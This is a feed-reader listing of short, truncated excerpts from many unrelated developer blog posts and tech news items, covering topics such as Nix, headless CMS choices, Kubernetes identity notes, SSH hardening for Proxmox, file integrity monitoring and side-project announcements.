    Qualcomm has confirmed that Android’s upcoming Quick Share compatibility with Apple’s AirDrop won’t be limited to Google’s Pixel 10 phones. In a post on X, the chipmaker said it “can’t wait for people to use this once enabled on Snapdragon in the near future,” effectively signalling that a wide range of Snapdragon-powered devices will eventually […] The post Qualcomm Confirms Snapdragon Devices Will Support Quick Share-To-AirDrop appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Mocked data for learning
    Introduction When a developer is learning a new method or technique, data is generally required to populate a development instance of a database; this article explains how. For all samples, a NuGet package Bogus was used to generate data. Each time a sample project runs, the data remains the same, although there is an option to randomize it. Rather than creating fictitious data in a project, instead, create a class project that contains classes to generate data into models that also exist in the class project. There are several options for using the class project. Create a test project in the same Visual Studio solution, copy the class project to another Visual Studio solution, or create a local NuGet package that can then be used no differently than any other NuGet package. In general,…  ( 11 min )
    The Regression Coefficient Was Positive… Until I Added One Variable and It Flipped Negative
    Why a Regression Coefficient Can Turn Negative When the Bivariate Relationship Is Clearly Positive One plot that instantly breaks every intuition you had about regression coefficients. Take a good look at that green line sloping down. That single line is the clearest proof you’ll ever see that regression coefficients can lie — beautifully — when multicollinearity is severe. One of the deepest and most frequently misunderstood concepts in multiple linear regression: The regression coefficient is not the simple bivariate slope. partial effect of that variable while holding all other predictors constant. When severe multicollinearity exists, "holding all other predictors constant" becomes a counterfactual — often physically impossible — scenario. In such cases, the sign of the coefficient …  ( 8 min )
    AI is the biggest bubble in human history
    AI is the biggest bubble in human history… and that is the BEST news you will read in 2025. The Artificial Intelligence (AI) revolution, especially since 2022 with models like ChatGPT, is frequently compared to major technological disruptions throughout history. It is widely seen as a General Purpose Technology (GPT), similar to electricity, the internal combustion engine, and mechanization. These technologies do not just change one sector; they restructure entire economies and societies. The crucial difference, however, is the speed of adoption: mechanization took generations, electricity took 40 to 50 years to become ubiquitous, but ChatGPT reached 100 million users in just two months. This insane speed and astronomical valuations raise the debate: is this the next dot-com b…  ( 9 min )
    Nix for Fun and Profit: Programs as Lego's
    Programs as Lego's Nix was made to solve the software deployment problem, concisely defined by creator Eelco Dolstra thus: [The software deployment problem] is about getting computer programs from one machine to another—and having The Purely Functional Software Deployment Model, Eelco Dolstra Nix allows you to setup software on your computer in such a way that your setup is reproducible, meaning your setup on machine A can be exactly the same as your setup on machine B -- as long as you have Nix. To most people, learning Nix is a pain, due to the new concepts, sparse and outdated documentation, and community . But I think Nix can make using computers fun and powerful and less painful, once you learn how to handle its' edges. One fun way we can use Nix is to stitch together programs like …  ( 9 min )
    AI Camouflage: Clothing That Breaks the Algorithm
    AI Camouflage: Clothing That Breaks the Algorithm Imagine a world where your clothes could make you invisible to AI surveillance. Sound like science fiction? It's closer to reality than you might think. Current AI-powered human detection systems, while incredibly powerful, have a surprising weakness: patterns. Specifically, cleverly designed patterns printed on clothing. The core concept involves optimizing the visual texture of garments to systematically confuse these detection algorithms. Instead of focusing on hiding specific features, the approach focuses on creating patterns that actively mislead the AI. Think of it like a visual denial-of-service attack, overloading the system with conflicting information that prevents accurate human recognition. This isn't just about static images…  ( 7 min )
    Headless CMS: Directus and Payload Walk Into a Bar 🍵
    If you're building a serious application with Next.js, you know the backend choice isn't just about editing content—it’s about workflow, performance, and infrastructure complexity. Both Directus and Payload are fantastic Node.js options, but they represent two fundamentally different philosophies. The big question you have to answer: Do you want your CMS to be a standalone, separate API, or an embedded part of your Next.js application? Let's dive into the core differences that impact your team and your hosting bill. This is the single most crucial factor for a developer. Directus is built to be a robust, full-featured Backend-as-a-Service (BaaS) application. It’s the kind of tool that runs constantly, manages user permissions, file storage, and provides endpoints. How it works: Directus ru…  ( 8 min )
    [Boost]
    AI in Legacy Code Modernization Nolan Lwin ・ Nov 23 #ai #opensource #coding #agents  ( 5 min )
    AI in Legacy Code Modernization
    Introduction Hi, my name is Nolan, and I’m the creator of L2M (Legacy2Modern). A few months ago, while searching for a meaningful direction for my thesis research, I stumbled upon a challenge that quietly burdens many companies: legacy codebases. These systems, often decades old, are messy, poorly maintained, and rarely documented. Yet they continue to power critical parts of our world. As I dug deeper, I became curious: Is anyone using AI to meaningfully tackle the legacy code problem? To my surprise, the space felt wide open. That’s when I decided to commit to this topic and build L2M. Why Legacy Code Still Matters Throughout human history, translation has played a crucial role in bridging cultures and enabling communication. With hundreds of languages, we rely on translation to preserve…  ( 7 min )
    OSD600: Release 0.3
    Repo Link: https://github.com/RiverDave/rrcm/tree/main I haven't been too enthusiastic about the development of this project in the last few weeks. The main reason is that most of what we did was mainly based on learning and implementing fairly small details on our projects (like testing, CI's and stuff). I think something else to consider is that this was already a pre-defined project that we had to develop, so it wasn't something I was extremely passionate about from the beginning (Although I think most of these points are valid from an academic perspective — It would be hard to evaluate a whole group with different projects and different ideas, It is also aimed towards people just getting started in OSS). I felt engaged throughout those first sessions, given that the dopamine hits I was…  ( 8 min )
    The Hidden Cost of Abstraction - Making an Informed Decision
    Abstraction promises convenience, but it often comes with hidden costs that only reveal themselves as time goes on. Remember when you could download music to your phone and truly own it? You could buy CDs or DVDs, and they were yours, that means no subscriptions, no monthly fees. You had to deal with some issues though. You had to manage storage, worry about physical media (disc) breaking, and manually organise everything into folders jazz, afro etc. Today, the likes of Spotify, Youtube, Apple Music, and Netflix abstract all those concerns away. In exchange, you pay a subscription fee or pay with your attention by watching ads. This same pattern plays out in software development. LangChain helps developers build LLM-based applications by abstracting away the manual orchestration of pipelin…  ( 7 min )
    Knowledge Graphs + LLM Integration: Query Your Ontology with Natural Language
    Modern knowledge-driven applications rely on powerful ontologies, expressive OWL models, and fast semantic querying to deliver accurate, trustworthy insights. Protégé has long been the de-facto environment for building and managing ontologies — but today’s AI workflows demand much more than manual editing. They need LLM-powered intelligence, SPARQL-based querying, and seamless integration between knowledge graphs and generative AI. In this article, I walk through how I built a next-generation Protégé plugin that combines SPARQL, OWL reasoning, and Large Language Models to deliver an intelligent, developer-friendly way to explore and query knowledge graphs directly inside Protégé. Whether you’re building enterprise ontologies, semantic search systems, or AI-enhanced knowledge applications, …  ( 9 min )
    The Story of Archi: an Archimate Tool; The Pedantic Defense: How 'Legal' Gatekeeping Violates the Spirit of Open Source
    The Pedantic Defense: How 'Legal' Gatekeeping Violates the Spirit of Open Source A response to a common, yet misguided, justification for walled gardens in open-source projects. Recently, I raised concerns about the open-source project, Archi, and its scripting plugin, jArchi. Both use the permissive MIT license, yet their maintainers engage in practices like geoblocking, paywalling support, and banning users—not only for VPN use but even for attempting to access download links from multiple IP addresses. The core defense offered by a project member or loyalist was a pedantic one, posted on Reddit. The ensuing discussion led to the complete removal of my post by moderators. "Neither their website, nor plugins or the support forum are covered by a software license. Moreover, they are not …  ( 8 min )
    I Built Offday.app — A Small Tool That Helps You Plan Longer Holidays with Fewer Leave Days
    I’ve been experimenting with side projects for years, usually to solve small personal problems. Offday.app started exactly like that: a tiny tool I needed for myself, but it gradually turned into something people from many countries began using. So I thought it might be worth sharing here. Every year, I try to maximize my holidays by combining annual leave with public holidays. Doing this manually is tedious: checking calendars, calculating date ranges, and tryinga to see which combinations create the longest break. The idea behind Offday.app is straightforward: Select your country → the app analyzes that year’s public holidays → it suggests date ranges where a few leave days turn into surprisingly long holidays. It’s simple, but it saves a lot of time and catches opportunities you probably wouldn’t notice. I initially built it only for Turkey. After refining the holiday logic, I made it work for every country. Since then, users from more than 50 countries have generated hundreds of holiday plans, even though I barely promoted it. Since this is dev.to, here’s what’s under the hood: Frontend: Vue 3, Vite, Tailwind Backend: Laravel Infrastructure: AWS (CloudFront, S3, EC2) Logic: holiday parsing, date-range scoring, caching, multi-locale output The date engine doesn’t brute-force all combinations. Instead, it focuses on identifying “peak opportunity windows” around existing public holidays. I enjoy seeing other developers’ weekend projects here, so I wanted to contribute mine. Offday.app is simple, but it genuinely solves a small, real problem. If it helps someone squeeze a few extra days into their next holiday, that’s more than enough motivation for me. You can try it here: https://offday.app I’m currently working on improvements such as: plan sharing without accounts exportable holiday cards more detailed country-specific rules better UX for country selection and date review If you have suggestions or feedback, I’d be happy to hear them.  ( 7 min )
    Building a Spring Boot Application with Spring Cloud Stream for Kafka Stream Processing
    1. Download Kafka Download the version 2.13-2.7.0 of Kafka (https://kafka.apache.org/downloads) To start Kafka we should first execute Zookeeper (It handles kafka instances in our application). we add start command to open the output terminal in an new prompt, bin\windows\zookeeper-server.start.bat is the script file to run zookeeper based on configuration file config/zookeeper.properties, if you have Linux operating system, the zookeeper script is in bin\zookeeper-server.start.sh. So we have now zookeeper running on port 2181. By the same way we start Kafka. Sometimes Kafka won't be running because wmic (Windows Management Instrumentation Command-line) is missing, it used to check JAVA_HOME and java version, to fix that open kafka-start-server.bat file in your editor and replace t…  ( 10 min )
    Nuxt Tutorial 6 - Vue.js Intermezzo
    In this inserted article, we take a closer look at selected fundamental concepts of the Vue.js framework that Nuxt builds upon. I believe it is not a good idea to use any tool without at least a rough understanding of how it works under the hood. Before we continue exploring more of Nuxt’s great features, we’ll go back to the roots without building anything specific here. But you will end up better prepared when you try it yourself later. To begin, note the best available source of Vue information - the official documentation. You will learn much more about everything mentioned in this article there, and you can always return to consult questions and issues. Now for the promised overview of the basics. First, we return to components, which we briefly described earlier, and go a bit deeper …  ( 18 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back down the yellow brick road, cracking open 1978’s The Wiz and tallying up all the “sins” you never noticed—especially now that Wicked’s back in theaters. In just about fifteen minutes, they poke fun at plot holes, quirky musical numbers, and everything in between to see if this Oz spin-off holds up—or if it’s more of a wicked disappointment. Along the way, they plug their site and social channels (YouTube, TikTok, Instagram, Discord, Reddit), invite you to fill out their “sinful” viewer poll, and drop links to their linktree and Patreon. Shout-outs go to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel—plus Jeremy’s new book. If you love nitpicking movies as much as they do, you know where to join the fun. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a YouTube video by CinemaSins that playfully rips into the film “KPop Demon Hunters.” The description is mostly a link roundup—directing viewers to CinemaSins’ website, various YouTube channels, social media profiles, a fan poll, their Patreon, and a list of the writers and contributors behind the video. Watch on YouTube  ( 6 min )
    Como foi palestrar na Clojure South 2025
    O que é a Clojure South? Segundo site oficial: "Organizada pelo Nubank, a Clojure South faz parte da programação oficial da comunidade de Clojure, conectando pessoas desenvolvedoras, entusiastas e empresas para compartilhar experiências reais, discutir tendências e fortalecer a rede global da linguagem." Em uma conversa com uma brasileira que conheci na Lambda Days 2025 (falei sobre como foi participar deste evento neste artigo), perguntei se ela iria assistir às palestras (ela trabalha para a Nubank) e descobri que ela iria ser instrutora do workshop de Clojure! Nesta conversa ela sugeriu que eu deveria enviar uma proposta de palestra. Comentei uma ideia que eu tinha para submeter, mas que estava meio inseguro de enviar. Ela me encorajou a tentar e eu resolvi arriscar! Embora tenha no m…  ( 10 min )
    AI for Exploratory Data Analysis (EDA)
    What is EDA ? With the rise of Artificial Intelligence (AI) and Machine Learning (ML), new tools are automating and accelerating the EDA process, making it more efficient and accessible. AI-powered EDA tools leverage Natural Language Processing (NLP), AutoML (Automated Machine Learning), and deep learning to automate data cleaning, generate insights, and create visualizations with minimal coding. In this blog, I will explore how AI is transforming EDA and highlight tools like PandasAI and AutoML that automate data insights. PandasAI: Enhancing EDA with Generative AI PandasAI is an innovative Python library that integrates generative artificial intelligence capabilities into the widely-used Pandas library. This integration allows users to perform data analysis through natural language prom…  ( 8 min )
    ZetaShare | Building Truly private file transfer with WebRTC
    I built ZetaShare because I wanted a file transfer service that doesn’t spy on me — no tracking, no data collection. The project was inspired by ToffeeShare, but after seeing it abandoned and being unable to contact the developers, I decided to build my own alternative. In case you're curious about how the system works under the hood, here’s a simplified explanation of the current architecture: How ZetaShare works (simplified): The sender uploads a file on the website. The server doesn’t store the file — After uploading, the sender receives a 6‑digit ID. This ID becomes the identifier for the transfer session. The receiver opens the link with the ?id= parameter, for example: https://zetashare.com/?id=123456 When the receiver joins the link, the server sends the receiver’s SDP offer to the …  ( 7 min )
    2026 World Cup Preview: Key Takeaways & Trends to Watch
    The United States Men's National Team (USMNT) is reportedly lining up big-time friendlies for World Cup preparation, as per a recent report by Stars and Stripes FC. This development has sparked interest among football enthusiasts, who are eager to see how the team will fare against top-tier opponents. The USMNT's friendly schedule includes matches against powerhouses such as England, Spain, and Portugal. These fixtures will provide the team with valuable experience in high-pressure situations and against world-class opponents. A few key moments from these upcoming friendlies could shape the team's preparation for World Cup 2026: The match against England is expected to be a test of endurance, as both teams have shown strength and resilience on the pitch. Spain will provide the USMNT wi…  ( 7 min )
    SEO vs. GEO: Developer's Guide
    Beyond the SERP From Probabilistic Retrieval to Generative Synthesis The architecture of the World Wide Web, and the mechanisms by which humanity accesses information, is undergoing a fundamental transformation that parallels the shift from directory-based indexing to algorithmic search in the late 1990s. For nearly three decades, the dominant paradigm of information discovery has been Information Retrieval (IR), a discipline predicated on indexing discrete documents and retrieving ranked lists based on keyword relevance and topological authority. This era, characterized by the dominance of the Search Engine Results Page (SERP), established a social contract between content creators and search platforms: creators provided data, and platforms provided traffic. This symbiotic relationship …  ( 19 min )
    🚀 Guia Completo: Otimização de Performance Web com Core Web Vitals
    📊 O que são Core Web Vitals? Core Web Vitals são métricas essenciais definidas pelo Google para medir a experiência do usuário em websites. Elas impactam diretamente o SEO e o ranking do site nos resultados de busca. (Maior Renderização de Conteúdo) O que mede: Tempo para carregar o maior elemento visível na tela Metas de Performance: 🟢 4s - Ruim Elementos comuns: Imagens hero, banners, blocos de texto grandes (Atraso da Primeira Interação) O que mede: Tempo entre a…  ( 10 min )
    CKS Notes - Apiserver request security
    1. Identity = kubeconfig Here the identity equals kubeconfig file Every kubeconfig file specifies: the certificate the client key the username (CN) the group (O) the cluster endpoint This determines: Who you are (identity) What you can do (RBAC permissions) Now let’s first distinguish 2 types of identity: admin cluster identity vs node identity. Location: each nodes /etc/kubernetes/kubelet.conf Identity inside it: user = system:node: group = system:nodes Meaning: This identity belongs to the kubelet on that node Permissions (through RBAC): can update its own node object can update pod status for pods assigned to it cannot get/delete/list arbitrary pods cannot label other nodes This identity is heavily restricted by NodeRestriction. $HOME/.kube/confi…  ( 7 min )
    How I Built a 140 FPS Real-Time Face Landmark App with Just YOLOv9 + MediaPipe (5-Part Series)
    A fast, clean, production-ready face detection + detailed facial landmark pipeline built from scratch in pure Python. Runs at 120–140 FPS on a regular laptop (no dedicated GPU needed). All 5 parts are now live. Finish the whole series in ~2 hours and walk away with a complete, real-time app. Part Title Link 1 Project Setup & Clean Architecture Part 1 → 2 ConfigModel – Load YOLO Only Once Part 2 → 3 OpenCVBase – Eliminate Duplicate Code Part 3 → 4 YOLOv9 + MediaPipe FaceMesh (539 refined landmarks) Part 4 → 5 Final Rendering + Complete Real-Time App Part 5 → Full Source Code → GitHub Demo → LinkedIn Python 3.11+ Ultralytics YOLOv9t-face (lindevs model) MediaPipe FaceMesh with refine_landmarks=True Pure OpenCV (no heavy extra dependencies) Zero code duplication Models loaded only once → maximum FPS Fully modular OOP design – extend in minutes Perfect portfolio / resume / startup prototype project Prerequisites: Basic Python + some OpenCV knowledge (Part 1 covers the rest). If you enjoyed this series — star the repo, give this post 50 claps (really helps!), and follow for more production-grade computer vision content.  ( 6 min )
    Value Objects in PHP 8: Let's introduce a functional approach
    NOTE: If you're new to Value Objects, I recommend starting with the first article to understand the fundamentals. Introduction The Problem with Traditional Validation PHP 8.5 Pipes The Validation Context (A Functor) A Library of Reusable Validators Error Accumulation Union Types Instead of Either (Monad) Conclusion In my previous articles, I've explored Value Objects from basic implementation to advanced patterns, entities, and building custom type systems. Each article built upon the previous, showing how PHP 8's features enable more elegant solutions. But now, with PHP 8.5, we have a new and powerful ally that truly changes the game: the pipe operator (|>). This operator opens up new possibilities for functional programming in PHP. It lets us express validation logic in a way that's fund…  ( 16 min )
    Why Aider
    The market for AI coding assistants has split into two clearly defined camps. Camp #1 – Full-featured graphical IDEs Cursor, Windsurf, Zed + Cursor mode, VS Code with Continue + Copilot + many extensions, IntelliJ Ultimate with AI Assistant, etc. Polished UI, inline completions, chat panels, debugging integration, project-wide indexing. Typical costs: 8–40 s startup, 4–8 GB RAM, mandatory indexing of the whole repo, poor or no support for direct work over SSH on production/legacy servers. Camp #2 – Terminal-first tools vim, neovim, helix, kakoune, tmux… and aider. Start in 200–400 ms, use 50–150 MB RAM, require only a terminal and git, work perfectly over SSH with no indexing step. aider is a command-line tool that sends selected files + conversation to an LLM and applies the returned…  ( 9 min )
    Creating a personal assistant (girlfriend) for myself
    Yes I stopped taking the pills (again) This is a story of me testing out the Claude Code Web and end up writing myself a girlfriend. It's quite capable though, it can chat, send me reminders or can save the links I send to her. Also keeps personal context about me that it uses when it's relevant. Her response to being the main character of this post: So it's all started with the credits that Anthropic gave for testing out claude code web. I got $250 which is impossible to spend it all. To test it out, I asked for a telegram bot. I want to create a chatbot that would send me notifications time to time during the day, like around the time I wake up I want a notification saying "Don't forget doing stretching exercises!". Can you propose a design for this kind of an app? Keep it simple …  ( 8 min )
    Self-Sovereign Identity's Privacy Blind Spot: Why DIDs Need Confidential Computing
    If your decentralized identity system forces users to publicly prove their credentials every time they authenticate, you've built an immutable record of everything they do and everywhere they go. Decentralized identity (DID) has become a Web3 buzzword, finally, we’re promised, users can control their own digital identity. With self-sovereign identity (SSI), you control your credentials, no third party owns your profile, and you only reveal what’s needed. But in practice, the way most verifiable credential systems are built today leaves a serious gap: every time you use your credentials, you leave a breadcrumb trail, right on-chain, that anyone can follow. Here’s why that happens, and how to build DIDs that actually deliver the privacy they promise. Decentralized IDs let you prove things, …  ( 8 min )
    Next.js Weekly #109: Next Analyze, Prisma 7, use-nemo, State of React 2025, Error Boundaries, UI Framework Guide
    Error Handling in React with react-error-boundary Aurora Scharff takes a detailed look at using react-error-boundary to prevent full app crashes when React components throw errors. She explains three ways to show fallback UIs, where to strategically place boundaries at route or feature levels, and how to handle async errors using the useErrorBoundary hook or React 19’s automatic error boundary integration with Actions and useTransition State of React 2025 The State of React Survey is now open! Test your React knowledge and share your insights to help track which APIs and libraries are really catching on across the ecosystem. I'd appreciate it a lot if you could take a moment to pick Next.js Weekly as one of your go-to resources. If you wanna get these updates in your inbox every week, …  ( 8 min )
    MonkeysLegion 1.0.8: From Side Project to Production-Ready PHP Ecosystem
    When I first introduced MonkeysLegion on the internet, it was “just” a new PHP 8 framework with a bold promise: Let modern teams move from commit to cloud without the boilerplate. Back then, that promise was mostly about vision. The core worked, but a lot was still in motion: APIs were evolving, packages were experimental, and I was shipping fast to prove the ideas. Fast-forward to v1.0.8 of the framework (and beyond into 1.0.x), and MonkeysLegion has grown into a mature, modular ecosystem: a set of focused packages, a production-ready skeleton, batteries-included tooling, and opinionated patterns that have already been battle-tested in real projects. This article is about that journey: What MonkeysLegion is in practice How it helps you ship production code faster What changed from 1.0.0 …  ( 11 min )
    From Nightmare to Magic: Building a Winning AI App in 5 Days for Kiroween
    Studying is a nightmare. For the Kiroween Hackathon, I decided to fix that by building Spooky Study Buddy—a polished app that uses AI to turn boring study materials into gamified, Halloween-themed adventures. The Blueprint (Spec-Driven Development): I started by writing a simple spec file that defined my entire application's architecture. Kiro took this blueprint and generated the robust backend and project structure, saving me a full day of setup. The Magic (Vibe Coding): For the frontend, I described the UI I wanted in plain English. For example: "Create a floating witch character component that animates on correct quiz answers." Kiro instantly generated the complex, animated React components. This AI-powered workflow saved me over 40 hours and generated 8,000+ lines of production-ready code. Why It's Built to Win: Costume Contest: It features a "hauntingly polished" UI where the spooky design directly enhances the learning experience. Best Startup Project: It solves a real-world problem in the massive EdTech market with a clear freemium model and scalable architecture. Spooky Study Buddy is my vision for the future of learning—a future where no student has to fear their textbooks. Explore the Project: 🎮 Live Demo: https://anshulmehra001.github.io/Spooky-Study-Buddy/ 📺 Video Demo: https://youtu.be/HSudCV7OK8s 💻 Source Code: https://github.com/Anshulmehra001/Spooky-Study-Buddy  ( 6 min )
    Verified Computing vs. Black Box AI
    How Confidential Computing Enables Trustworthy AI Without Sacrificing Privacy If your AI verification system requires auditors to see the full model weights, training data lineage, and inference parameters, you haven't built trust, you've built intellectual property theft as a feature. AI systems are everywhere in 2025, from health diagnostics and autonomous logistics to DeFi bots and voting tools. We want AI to be both trustworthy and private. But a hidden tension shapes every project: How can we make AI verifiable enough for users and auditors, without accidentally leaking its secrets to competitors or risking privacy for those whose data built it? Let’s break down why this is tough, then walkthrough how confidential computing platforms like Oasis let us go from either/or, to both. To t…  ( 8 min )
    Looking for honest feedback on my developer portfolio
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    The New Digital Divide: Will "Vibe Coding" Really Make Everyone a Developer?
    My LinkedIn feed is currently drowning in posts from "ex-non-technical" founders. You know the ones. They claim they built a SaaS in a weekend using nothing but Cursor and a dream. They say, "Coding is dead. English is the new programming language." Here is the thing about coding that tutorials never tell you: writing the code is actually the easy part. I like to think of it like self-driving cars. So, does this mean "normal people" can't become developers via AI? name+tag@gmail.com?" Vibe coding is an incredible entry point. It is like training wheels. It lets you feel the wind in your hair before you know how to balance. But if we tell people that the training wheels are the bike, we are setting them up for a nasty crash. The market doesn't pay you for the code you write when everything is going right. The market pays you for the code you fix when everything goes wrong. And unfortunately for the vibe coders, you can't prompt your way out of a system outage.  ( 8 min )
    A 13-Year-Old Founder Building a Study App Because Existing Tools Weren’t Enough
    Nikita Volkov is a 13-year-old builder who has been creating products since he was seven. Now he is working on Ace, a study app designed by a student who understands the problems other students face. Before starting Ace, Nikita built an online store at age 7, a recipe discovery and management app at 11, a dropshipping store at 12, an AI coding agent, an AI chatbot for education, and a faster macOS Spotlight-style launcher integrated with AI. Each project was an attempt to fix a real frustration he had at that age. Ace follows the same pattern. Nikita found that most study apps were either slow, overly complex, bad at what they are meant to do or designed by adults who no longer experience school in the same way students do. Rather than wait for a better tool, he decided to build one himself. Ace focuses on clarity, speed, and real learning. Nikita is building it publicly, sharing his progress as he refines features and tests ideas in real time. For someone his age, Nikita’s output is unusual, but his approach is straightforward: find a problem, understand it deeply, then build something better. Ace is the latest step in a journey that has already lasted several years, and he is documenting the entire process for others who may be on a similar path.  ( 6 min )
    Building Resilient Serverless Workloads with the Circuit Breaker Pattern
    Modern distributed systems rely on many external dependencies. Payments, In this article, we will look at how the Circuit Breaker pattern helps you prevent cascading failures, reduce wasted retries, and allow systems to recover gracefully. We will also walk through an AWS Lambda implementation using DynamoDB as the state store and see how the entire flow works in real serverless applications. Detects when a dependency becomes unhealthy Stops sending requests that are likely to fail Gives downstream systems time to recover Performs periodic test calls to check if the service is healthy again Works extremely well with a storage-first approach Prevents cascading failures and wasted retries Introduces a small amount of latency and state handling Requires tuning of thresholds and cooldown setti…  ( 10 min )
    C++ Through the Years : From Classic to Modern
    C++98 was the first international standard for the language. C++03 was a maintenance update, fixing defects and inconsistencies. Object-oriented programming (classes, inheritance, polymorphism) Templates (generic programming) Exceptions Namespaces STL (Standard Template Library) including: vector, map, set, list algorithms (sort, find) iterators No move semantics → heavy copying, lower performance No type inference → verbose code Limited compile-time programming Early template errors were difficult to understand C++11 is considered the largest update in the history of the language. Move semantics Rvalue references std::unique_ptr, std::shared_ptr (smart pointers) auto type deduction Range-based for loops Lambda expressions nullptr constexpr static_assert std::thread, mutex, lock_guard, a…  ( 7 min )
    SSH Access to Proxmox Without Exposing Your Lab
    Virtualization tech — once locked away in enterprise data centers — now powers all kinds of home labs. I use mine for learning, tinkering, and running services like Proxmox VE. Whether you’re running a homelab business, learning cybersecurity, or just self-hosting your media, one thing tends to come up: secure access to the hypervisor. A reader recently asked best practices for SSH and Proxmox. This guide is my answer. I’ll walk through the exact setup I use — including my jump box, SSH hardening, hardware-backed keys, and how I work with QubesOS to manage everything securely. While this is based on how I use Proxmox, most of the techniques apply to other virtualization platforms or Linux systems in general. Why I Use SSH with Proxmox 🔧 Part 1: Locking Down SSH on the Jump Box and Proxmox…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest rapid-fire roast of the fun, over-the-top demon-hunting musical. In under 16 minutes they tally every trope, plot hole and eye-roll-worthy moment, all while cracking jokes and keeping the pace lightning-fast. On top of the sinning, they drop links to their socials, invite you to join polls and Discord, plug Patreon support, and give shout-outs to the writers behind the mayhem. It’s a cheeky, self-aware send-up that’s part critique, part variety show. Watch on YouTube  ( 6 min )
    JSON CSV converter
    What Is This Tool & Why Do You Need It? Imagine you have data from a website or app (in JSON format) but you need to open it in Excel. Or maybe you have a spreadsheet (CSV format) that you want to use in a web application. That's exactly what this converter does - it translates between these two popular data formats instantly. JSON (JavaScript Object Notation) Storing complex information with multiple levels Sending data between websites and apps (APIs) Keeping data organized when items have different fields Modern software development Real example: When you check the weather on your phone, the app receives JSON data from a weather service that looks like {"temperature": 72, "condition": "sunny", "humidity": 45}. What it is: CSV is the simple, universal format that spreadsheet programs like Excel and Google Sheets love. It's just a text file where data is organized in rows and columns, separated by commas. Opening in Excel or Google Sheets Sharing with people who aren't programmers Simple data that fits in a table Maximum compatibility across different programs Real example: When you export your contacts from your email program, you often get a CSV file that you can open in Excel to edit and organize. Why You Need to Convert Between Them "I got data from a website, but I need to analyze it in Excel" You used an API or downloaded data from a web service (JSON format) "I have a spreadsheet I need to upload to a website" You maintain a product catalog or customer list in Excel (CSV format) "My developer sent me JSON data, but I can't read it" A programmer shares technical data with you "I need to share data with someone who doesn't use Excel" You have Excel data but need to send it to an app or website Try out and enjoy json-csv converter  ( 7 min )
    AIDE - File Integrity Monitoring for System Security
    Before dashboards, before SIEMs, there was one simple question: “Did my files change?” My first exposure to the idea of file intrusion detection came in the early 2000s, when a coworker installed an open-source version of Tripwire. He used it to scan a Linux system he kept under his desk, storing the results on a read-only flash drive. At the time, it seemed like overkill. Fast forward to today, and host-based intrusion detection tools are a fundamental part of maintaining system integrity. While many administrators lean on logs for signs of intrusion, there's a deeper layer of security in tracking actual file changes. After all, if you want to catch an attacker changing your configuration or binaries, you need a tool that notices silent alterations—not just noisy events. 🔍 Why File Integ…  ( 10 min )
    AI Agentic RAG Pipeline to Surface Community Insights from Census Data
    Disclaimer: I am a product person, not a coding guru but this works and it brought value to the lean startup I was working for. Project Overview Github: https://github.com/cliffordodendaal/community-insights-pipeline Role: Technical Architect, AI Onboarding Lead Timeline: 2 weeks (September 2025) Platform: Modular RAG pipeline + Streamlit UI + Python + Langchain Impact: Enabled natural-language querying over census PDFs, built a reproducible ingestion pipeline, and laid the foundation for mentoring others into AI workflows Executive Summary This project delivers a modular Retrieval-Augmented Generation (RAG) pipeline that transforms static census PDFs into a searchable knowledge base. Built with LangChain, FAISS, and OpenAI, the system enables users to ask natural-language questions and …  ( 8 min )
    Rethinking Code Quality Analysis
    Originally published on Entropic Drift When you run a typical static analysis tool on your codebase, you get flooded with alerts. Hundreds of warnings about cyclomatic complexity, function length, and nesting depth. The tools treat all complexity equally—a simple validation function with 20 identical if statements gets the same severity rating as genuinely complex business logic with intricate state transitions. The result? Alert fatigue. Developers learn to ignore the noise, and genuinely risky code gets lost in the shuffle. Try it yourself: All code examples in this post are available at github.com/iepathos/debtmap/tree/master/examples/why-debtmap-samples. Clone the repo and run debtmap analyze . to see the actual output. Consider these two functions: fn validate_config(config: &Config) …  ( 12 min )
    Day 20 : Django Learning
    Nothing much again to log in, the struggle with setting up database in Render and avoid the bad gateway issue. I could not figure it out, irrespective of many changes, I would like to seek out some help! Please help me to set this up and start working again, if not, I have to stick to the default one that comes with Django! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )
    Building Tenders SA: Part 1 - From Problem to Platform Architecture
    The Problem: South Africa's Tender Opportunity Gap In South Africa, government tenders represent billions of rands in business opportunities. Yet, small and medium businesses struggle to access these opportunities. The existing tender platforms are fragmented, difficult to navigate, and lack intelligent matching capabilities. Businesses spend hours searching through irrelevant opportunities, often missing perfect matches due to the sheer volume of daily tender publications. We set out to solve this with Tenders SA - an AI-powered tender matching platform designed specifically for the South African market. Our vision was simple but ambitious: Centralize all South African tender opportunities in one place Intelligently match businesses with relevant opportunities using AI Simplify the tend…  ( 11 min )
    We Are Hiring – Join Our Growing IT Team
    Our server-reselling project is expanding, and we are looking for dedicated German-based IT professionals who value clean, reliable, and well-structured work. If you enjoy building stable systems rather than chasing trends, you may be the right fit for us. 1. Frontend / Full-Stack Developer (m/f/d) Required skills: PHP Angular TypeScript SCSS NG Bootstrap We value developers who write maintainable code, follow established patterns, and appreciate a traditional, structured workflow. 2. IT Specialist – System Integration (m/f/d) Responsibilities: Server setup and administration Network and infrastructure maintenance Troubleshooting Continuous improvement of internal systems A calm, methodical approach to system work is essential. 3. IT Security Specialist (m/f/d) Required knowledge: Security audits Hardening and risk analysis Firewalls, IDS/IPS, encryption Clear documentation Security is not a trend for us – it is a responsibility. Good German language skills Only German developers will be considered No salary provided (voluntary collaboration / partner-based work) A stable environment Long-term technical growth Clear responsibilities Traditional, structured IT work with real impact Interested? If you want to contribute to a reliable and growing infrastructure project, we would be glad to hear from you. Get in touch and join us.  ( 6 min )
    New version 4.1 has come out in the meantime! Check the last comment. Async factory DI is now supported, and deferred async injections let heavy dependencies initialize in the background so the server boots instantly while handling unavailable services.
    Introducing YasuiJS — A Modern, Minimal REST Framework for Any Runtime Thomas BARKATS ・ Nov 6 #typescript #webdev #backend #api  ( 6 min )
    EF Core Migrations Troubleshooting Guide — Design Package, Tooling Versions & Multi‑Project Setups
